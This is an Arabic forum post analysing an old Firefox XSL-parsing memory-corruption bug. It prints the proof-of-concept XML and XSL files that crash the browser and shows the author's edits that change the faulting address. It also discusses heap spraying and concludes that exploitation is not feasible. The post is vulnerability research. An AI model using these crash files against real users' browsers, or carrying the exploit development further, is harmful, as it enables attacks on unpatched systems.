بتـــــاريخ : 2/26/2011 6:05:54 AM
الفــــــــئة
  • الحـــــــــــاسب
  • التعليقات المشاهدات التقييمات
    0 1878 0


    تحليل ثغرة Firefox Xsl Parsing Remote Memory Corruption

    الناقل : elmasry | العمر :42 | الكاتب الأصلى : DATA_SNIPER | المصدر : www.arabteam2000-forum.com

    كلمات مفتاحية  :

    السلام عليكم.
    بسم الله الرحمن الرحيم.
    اردت ان اعرج و اشرح شيئ مهم وهو ثغرة الفايرفوكس التي ظهرت ي الآونة الأخيرة.
    ولربما كثر التصعيد عليهاا بأنها ثغرة خطيرة قد تهدد الأمن الشخصي للمستخدمين،طبعا وبغض النظر عن نوعية الثغرة فإنها تعتبر خطيرة إذا توفرت شروط أخرى.
    لكن انا اقول حسب تحليلي البسيط أن عملية إستغلال الثغرة الموجودة في هذا الرابط مستحيل بشكله الحالي وسأوضح بعد قليل،فلو ان عملية الإستثمار الثغرة كانت سهلة لإستثمرها من وضعها في ميل وورم فهو معروف :)
    الثغرة الأولى Mozilla Firefox XSL Parsing Remote Memory Corruption PoC 0day
    تعريف:
    الثغرة هي عبارة عن خطأ في معالجة ملفاتXSL بالتحديد أثناء تحويل مستند XML بواسطة XSLT
    ماهو XSL:
    بكل بساطة هي لغة تساعدك على عرض ملفات XML بالشكل الذي ترغب فيه أنت.
    لنفرض أنه لديك ملف XML وتريد معالجته عن طريق تطبيق(web app) معين، لكن ألا ترى أن التعامل معه سيكون صعب حتى بالتعامل مع parser لذلك قام المطورون بتطوري لغة برمجة تساعدك في عرض ابيانات الموجودة في XML بشكل الذي ترغب.
    ماهو XSLT :
    بصفة عامة هي لغة تساعدك على تحويل مستند XML إلى مستند آخر سواءا كان XML او HTML او PDF وهي تساعد كثيرا في عرض مستندات XML على الويب،و تعليمات لغة XSLT تكون مضمنة في ملفات XSL ويتم إستدعائها من داخلها.
    شاهد الصورة.
    ارفق صورة : monthly_04_2009/post-88726-1238927784.png
    الصورة من Wikipedia.
    فكما تشاهد هنا مستند XML و كود XSLT على اليمين والناتج هو مستند آخر ومن الممكن أن يكوني plain text للعرض أو حتى XML.
    نعود للثغرة كما قلنا أن الثغرة عبارة عن خطأ في معالجة ملفات XSL بالتحديد أثناء التعامل مع أكواد XSLT لتحويل مستند XML إلى نص قابل للعرض.
    نلقي نظرة على الكود.
    كود ملف xmlcrash.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
    <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <item1 id="AAAAAAA" />
            <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>
    </root>

    كود ملف XSL
    xslt.xsl
    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:key name="label" match="item2" use="w00t()"/>
            <xsl:template match="root">
                                            <xsl:for-each select="//item1">
                                                    <xsl:call-template name="item1" />
                                            </xsl:for-each>
            </xsl:template>
            <xsl:template name="item1">
                                    <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
                                    </xsl:for-each>
            </xsl:template>
    </xsl:stylesheet>

    طبعا الكود الثاني هو الذي يحدث الخطأ.
    نتطرق الآن لشرح بسيط لللميكانيزم و عمل الثغرة.
    وكما قلنا سابقا أن ملفات XML يمكن أن تستعمل ملفات XSL من أجل عرض محتوياتها لذلك فالغة XSL هي Style Sheet الخاص بالـ XML .
    كما ترون في الكود الأول أن تم إستدعاء ملف xslt.xsl هنا:
    <?xml-stylesheet type="text/xsl" href="xslt.xsl"?>

    لكي يتم تطبيق الستايل على
            <item1 id="AAAAAAA" />
            <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>

    ويعرضهم طبقا للكود المكتوب داخل ملف XSL .
    الكود المكتوب فوق ليس إلا مجموعة من nodes لها جذر رئيسي إسمه root، وبها تلك الحروف مع العلم انه يمكن أن تكون حروف او اسماء أخرى وكملاحظة فإن المحارف "AAAAAAAAA" ليس هي التي تحدث الخطأ:)
    ننتقل لكود XSL
    لن أرشحه بالتفصيل فذلك يتطلب مني شرح تعليما لغة XSL لكن سأحاول الإختصار.
    طبعا لا بد انك قد إطلعت على لغة برمجة معينة كنت قد رأيت فيها التعليمات مثل for و for ...each و if .
    فالأمر ينطبق على هذه اللغة لكن بشكل مغاير في كتابة العبارة البرمجية فقط.
    فكما تلاحظ تعليمة for ....each تم كتابتها بالشكل التالي
    <xsl:for-each

    و التي تنتهي بـ:
    </xsl:for-each>

    وبعدها select التي تحدد مكان تطبيق الأمر في مستند XML .
    بعدها يأتي الأمر
     <xsl:call-template name="item1" />

    الذي يستدعي template التالي:
       <xsl:template name="item1">
                                    <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
                                    </xsl:for-each>
            </xsl:template>

    هنا يقوم هذا template بإستعمال الدالة key التي تقوم بعمل indexing للفروع الخاصة بـ مسند XML فتخيل أن مستند XML كبير جدا وبه فروع كثيرة وأرقام وأعداد كثيرة فإن عملية إنشاء الأسماء الدلالية ستساعد في التعامل مع المستند ويتم ذلك بإستعمال الدالة key،فمثلا عملية indexing في الكتب ، لنفرض أنك تبحث عن كلمة او عبارة ستتوجه لل index (و ليس content) وسيعطيك رقم الصفحة التي يمكن أن تجدها فيها، و الأأمر ينطبق على ملفات XML بحيث انك تعطيه الإسم وهو يعطيك العقدة و العنصر بالضبط.
    المشكلة موجود في هذا الكود بطريقة غير مباشرة، لأنه في البداية تم الإعلان عن key في هذا السطر:
    <xsl:key name="label" match="item2" use="w00t()"/>

    عند الأإعلان عن key يتم اخذ ثلاث نقاط بعين الإعتبار:
    1-الإعلان عن إسم key وذلك بكتابة name="إسم المفتاح"
    2-الخاصية الثانية هي mach يعني بها تحديد العقدة (node) المراد عمل ndexing لها.
    3-use و هي التي تجعل المفتاح اكثر تخصيصا بحيث يمكن من خلالها تعين عنصر من العقدة الرئيسية التي تم إختيارها في mach.

    لكن في كود الإستغلال لم يتم تحديد use بشكل صحيح لكن تم وضعها بشكل عشوائي وهنا يحدث الخطأ.
    لكي تتأكد جرب وإستبدل w00t() بـ لا شيئ يعني دعها فارغة وسترى ماذا سيحدث.
    إذا هنا المشكلة.
    لقد قمت ببعض التعديلات على الكود فجعلته بهذا الشكل (إختصرته).
    xmlcrash.xml.
    <?xml version="1.0" encoding="UTF-8"?>
    <?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
    <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <item1 id="datasniper" />
    </root>

    xslt.xsl
    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:key name="label" match="item1" use=""/>
            <xsl:template match="root">
                                       <xsl:for-each select="key('label', @item1)">
                                    </xsl:for-each>
            </xsl:template>
    </xsl:stylesheet>

    بعد تجربة الكود الموجود في أول الدرس سترى مثل هذه الصورة.
    Resized to 81% (was 800 x 570) - Click image to enlargePosted Image

    كما تلاحظ الشرح المكتوب في الصورة لأن عملية الأنتقال للمكان الموجود فيEAX باءت بالفشل لعدم إحتواء EAX على مكان valid او مكان متاح في الذاكرة.
    وهذا معروف بكثرة فيل ثغرات المتصفحات و للإطلاع أكثر أدخل هذا الرابط
    ثغرة المتصفح نظرة تحليلة من الداخل, شرح وتحليل لثغرة XML Parsing الأخيرة في المتصفح
    يشرح عملية تحليل ثغرة المتصفح و هي من نوع هذه الثغرات.
    في ذلك الدرس كنت قد تناولت موضوع heap spray و سأنقل جزءا من ذلك:

    فتخيل لو أن الخطأ كان يحدث لما يكون EAX=0A0A0A0A سيحدث نفس الخطأ وستظهر الرسالة التالية
    Access Violatiojn when reading [0A0A0A0A]
    فالأمر سهل وذلك بمجرد تضخيم الكومة والزيادة فيها عن طريق عملية الحجز فإن هذا العنوان سيصبح موجود وسيتم القفز إلى محتواه.
    لكن المشكلة وهو أن EAX=00000000 لذلك فإن عملية Spraying مستحيلة فكلنا يعم أن العنوان 00000000 لا يمكن إستعماله من user mode لذلك تبخر حلم الإستثمار.
    هنالك أمل لعمل إستثمار و هو التعديل على الكود وتغيره فلقد قمت ببعض التعديلات على الكود فتغير العنوان من
    00000000 إلى 00000031 بهذا التعديل:
    <?xml version="1.0" encoding="UTF-8"?>

    <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

            <xsl:key name="label" match="item1" use=""/>

            <xsl:template match="root">
                                       <xsl:for-each select="key('label', @item1)">
                                    </xsl:for-each>
            </xsl:template>

    </xsl:stylesheet>

    وغيرته إلى العنوان 017ED9A0
    بهذا الكود في ملف XSL :
    <?xml version="1.0" encoding="UTF-8"?>

    <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

            <xsl:key name="label" match="item1" use=""/>

            <xsl:template match="root">
                                       <xsl:value-of select="key('label', @item1)">
                                    </xsl:value-of>
            </xsl:template>
    </xsl:stylesheet>

    إلى هنا ينتهي هذا التحليل البسيط للثغرة.
    اي إستفسارات او إضافاتيرجى كتبتها.
    والسلام عليكم.

    كلمات مفتاحية  :

    تعليقات الزوار ()